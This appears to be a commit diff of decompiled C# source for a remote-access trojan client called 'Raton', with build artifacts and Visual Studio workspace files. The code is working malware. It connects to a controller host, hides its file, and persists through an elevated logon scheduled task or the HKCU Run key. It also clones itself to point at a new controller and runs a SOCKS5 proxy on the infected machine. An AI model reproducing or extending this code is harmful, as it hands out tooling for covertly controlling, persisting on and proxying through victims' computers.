if (args.Length >= 2)
|
||||
{
|
||||
Config.Mutex = Helpers.Random(30);
|
||||
Config.ht = args[0];
|
||||
Config.pt = Convert.ToInt32(args[1]);
|
||||
}
|
||||
Application.ThreadException += (ThreadExceptionEventHandler) ((s, e) => Program.LogError("UI Thread", e.Exception));
|
||||
AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler) ((s, e) => Program.LogError("Unhandled", e.ExceptionObject as Exception));
|
||||
TaskScheduler.UnobservedTaskException += (EventHandler<UnobservedTaskExceptionEventArgs>) ((s, e) =>
|
||||
{
|
||||
Program.LogError("Task", (Exception) e.Exception);
|
||||
e.SetObserved();
|
||||
});
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Thread.Sleep(Config.Delay * 1000);
|
||||
if (Config.HideFile)
|
||||
{
|
||||
try
|
||||
{
|
||||
HideClient.Execute();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("HideFile", ex);
|
||||
}
|
||||
}
|
||||
if (!MutexControl.CreateMutex())
|
||||
Environment.Exit(0);
|
||||
try
|
||||
{
|
||||
Program.client = new SillyClient();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("Client Init", ex);
|
||||
return;
|
||||
}
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Program.client.Connect();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("Connect", ex);
|
||||
}
|
||||
}));
|
||||
Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
try
|
||||
{
|
||||
await Task.Delay(3000);
|
||||
if (args.Length != 0)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PluginMessage");
|
||||
pack.SetString("Message", "This client was shared to you from someone");
|
||||
Program.client.Send(pack.Pacc());
|
||||
}
|
||||
if (!Config.Startup)
|
||||
return;
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
Program.AddToStartup(Path.GetFileNameWithoutExtension(location), location);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("StartupTask", ex);
|
||||
}
|
||||
}));
|
||||
Application.Run(new ApplicationContext());
|
||||
}
|
||||
|
||||
private static void LogError(string context, Exception ex)
|
||||
{
|
||||
Console.WriteLine(context + ex.Message);
|
||||
}
|
||||
|
||||
public static bool IsAdmin()
|
||||
{
|
||||
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
|
||||
return new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
|
||||
public static void AddToStartup(string name, string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(path))
|
||||
return;
|
||||
path = Path.GetFullPath(path);
|
||||
if (Program.IsAdmin())
|
||||
{
|
||||
using (Process process = Process.Start(new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = $"/create /tn \"{name}\" /sc ONLOGON /tr \"\\\"{path}\\\"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
RedirectStandardError = true,
|
||||
RedirectStandardOutput = true
|
||||
}))
|
||||
{
|
||||
process.WaitForExit();
|
||||
if (process.ExitCode == 0)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Success");
|
||||
pack.SetString("Message", "Startup task created successfully (Task Scheduler)");
|
||||
Program.client?.Send(pack.Pacc());
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
|
||||
{
|
||||
if (registryKey == null)
|
||||
return;
|
||||
registryKey.SetValue(name, (object) $"\"{path}\"", RegistryValueKind.String);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Success");
|
||||
pack.SetString("Message", "Startup registry key added successfully");
|
||||
Program.client?.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError(nameof (AddToStartup), ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ShareClient
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
public static class ShareClient
|
||||
{
|
||||
public static void Clone(string host, string port)
|
||||
{
|
||||
try
|
||||
{
|
||||
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
||||
string destFileName = Path.Combine(Path.GetDirectoryName(fileName), Guid.NewGuid().ToString() + ".exe");
|
||||
File.Copy(fileName, destFileName, true);
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = destFileName,
|
||||
Arguments = $"{host} {port}",
|
||||
UseShellExecute = false
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SillyClient
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Client.Raton;
|
||||
|
||||
#nullable disable
|
||||
public class SillyClient
|
||||
{
|
||||
internal Supervisor Supervisor { get; }
|
||||
|
||||
public HandlePacket HandlePacket { get; }
|
||||
|
||||
public ClientState State => this.Supervisor.State;
|
||||
|
||||
public SillyClient()
|
||||
{
|
||||
this.HandlePacket = new HandlePacket(this);
|
||||
this.Supervisor = new Supervisor(this);
|
||||
}
|
||||
|
||||
public void Connect() => this.Supervisor.Start();
|
||||
|
||||
public void Disconnect() => this.Supervisor.Stop();
|
||||
|
||||
public void Send(byte[] data) => this.Supervisor.Send(data);
|
||||
|
||||
public bool IsConnected()
|
||||
{
|
||||
return this.State == ClientState.Connected || this.State == ClientState.Ready;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Socks5Server
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
#nullable disable
|
||||
public class Socks5Server
|
||||
{
|
||||
private TcpListener listener;
|
||||
private bool running;
|
||||
|
||||
public async Task Start(int port)
|
||||
{
|
||||
this.listener = new TcpListener(IPAddress.Any, port);
|
||||
this.listener.Start();
|
||||
this.running = true;
|
||||
while (this.running)
|
||||
this.HandleClient(await this.listener.AcceptTcpClientAsync());
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
this.running = false;
|
||||
this.listener?.Stop();
|
||||
}
|
||||
|
||||
private async Task HandleClient(TcpClient client)
|
||||
{
|
||||
NetworkStream stream = client.GetStream();
|
||||
try
|
||||
{
|
||||
byte[] hello = new byte[2];
|
||||
int num1 = await stream.ReadAsync(hello, 0, hello.Length);
|
||||
byte[] buffer1 = new byte[(int) hello[1]];
|
||||
int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length);
|
||||
byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 };
|
||||
await stream.WriteAsync(buffer2, 0, buffer2.Length);
|
||||
byte[] header = new byte[4];
|
||||
int num3 = await stream.ReadAsync(header, 0, header.Length);
|
||||
string host = "";
|
||||
if (header[3] == (byte) 3)
|
||||
{
|
||||
byte[] hostBytes = new byte[stream.ReadByte()];
|
||||
int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length);
|
||||
host = Encoding.ASCII.GetString(hostBytes);
|
||||
hostBytes = (byte[]) null;
|
||||
}
|
||||
byte[] portBytes = new byte[2];
|
||||
int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length);
|
||||
int port = (int) portBytes[0] << 8 | (int) portBytes[1];
|
||||
TcpClient remote = new TcpClient();
|
||||
await remote.ConnectAsync(host, port);
|
||||
byte[] numArray = new byte[10];
|
||||
numArray[0] = (byte) 5;
|
||||
numArray[3] = (byte) 1;
|
||||
byte[] buffer3 = numArray;
|
||||
await stream.WriteAsync(buffer3, 0, buffer3.Length);
|
||||
NetworkStream stream1 = remote.GetStream();
|
||||
stream1.CopyToAsync((Stream) stream);
|
||||
stream.CopyToAsync((Stream) stream1);
|
||||
hello = (byte[]) null;
|
||||
header = (byte[]) null;
|
||||
host = (string) null;
|
||||
portBytes = (byte[]) null;
|
||||
remote = (TcpClient) null;
|
||||
stream = (NetworkStream) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Close();
|
||||
stream = (NetworkStream) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
costura.costura.dll.compressed|6.0.0.0|Costura, Version=6.0.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d|Costura.dll|028E9832F421F11F9497C610F1734E0F3D868037|5120
|
||||
costura.costura.pdb.compressed|||Costura.pdb|806F4C19B2D7FD9E3B836269EC07647019A29E95|7960
|
||||
costura.messagepacklib.dll.compressed|1.0.0.0|MessagePackLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null|MessagePackLib.dll|67A52A50875B6072355D725CD38DD69A592F6480|10240
|
||||
costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
94ea750660fedbfcfd2429674cf0119f84e3e46b3b7ce120f35d0710d87142cf
|
||||
@@ -0,0 +1,10 @@
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.AssemblyReference.cache
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.Properties.Resources.resources
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.GenerateResource.cache
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.CoreCompileInputs.cache
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\Client.exe
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\Client.pdb
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\MessagePackLib.dll
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.Up2Date
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.exe
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.pdb
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "E:\\DOWNLOADS\\Raton\\",
|
||||
"Documents": [],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": []
|
||||
}
|
||||
]
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,457 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Raton\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 8,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "Resources.resx",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx",
|
||||
"RelativeDocumentMoniker": "Raton\\Properties\\Resources.resx",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx",
|
||||
"RelativeToolTip": "Raton\\Properties\\Resources.resx",
|
||||
"ViewState": "AgIAAOIAAAAAAAAAAAAEwAIBAABY7iEAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001005|",
|
||||
"WhenOpened": "2026-03-24T18:31:36.471Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 1,
|
||||
"Title": "BackendClient.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs",
|
||||
"RelativeDocumentMoniker": "RatonBack\\BackendClient.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs",
|
||||
"RelativeToolTip": "RatonBack\\BackendClient.cs",
|
||||
"ViewState": "AgIAAEYAAAAAAAAAAADwv1wAAAAoAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:31:01.437Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 3,
|
||||
"Title": "Visual.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs",
|
||||
"RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs",
|
||||
"ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"ViewState": "AgIAAEsJAAAAAAAAAADgv3IJAAAEAAAAAQAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:29:01.289Z",
|
||||
"EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]"
|
||||
},
|
||||
{
|
||||
